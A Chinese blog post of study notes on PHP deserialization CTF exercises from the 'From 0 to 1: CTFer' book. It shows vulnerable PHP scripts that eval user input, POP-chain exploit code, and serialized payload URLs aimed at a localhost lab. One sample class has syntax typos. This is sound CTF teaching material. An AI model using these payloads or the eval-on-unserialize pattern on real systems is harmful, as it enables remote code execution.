《从0到1:CTFer成长之路》初识反序列化

导读:本篇文章讲解 《从0到1:CTFer成长之路》初识反序列化,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

常见的反序列化(先了解下原理再做)

常见的反序列化-1

  • 网站http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php
<?php
    class test{
        function __destruct(){
            echo "destruruct..<br>";
            eval($_GET['cmd']);
        }
    }
    unserialize($_GET['u']);
?>
  • Exploit构造

通过反序列化攻击,改变源码实现我们目的,原来test类未执行,现在我们让他执行.

<?php
	class test{}
	$test = new test;
	echo serialize($test);
?>
  • poc(攻击代码(类)的序列化(上面代码的输出))
O:4:"test":0:{}
  • 攻击
http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php?u=O:4:"test":0:{}&cmd=phpinfo();

在这里插入图片描述

常见的反序列化-2

但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

  • 网站 http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php
<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal{
    function action() {
        echo "hello";
    }
}

class evil(){
    private $data;
    funtion action(){
        eval($this->data);
    }
}
unserialize($_GET['d']);
?>
  • Exploit构造

我们先改变lemon类的__construct分法(对象被创建时触发),让他不创建normal类,而是改为创建我们定义的一个恶意类

<?php
class lemon{
	protected $ClassObj;
	function __construct(){
        $this->ClassObj = new evil();
    }
}
class evil{
	private $data = "phpinfo();";
}

echo urlencode(serialize(new lemon()));//`urlencode()`:避免"%00"缺失
echo "\n\r";
?>
  • poc
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
  • 攻击
http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92720.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!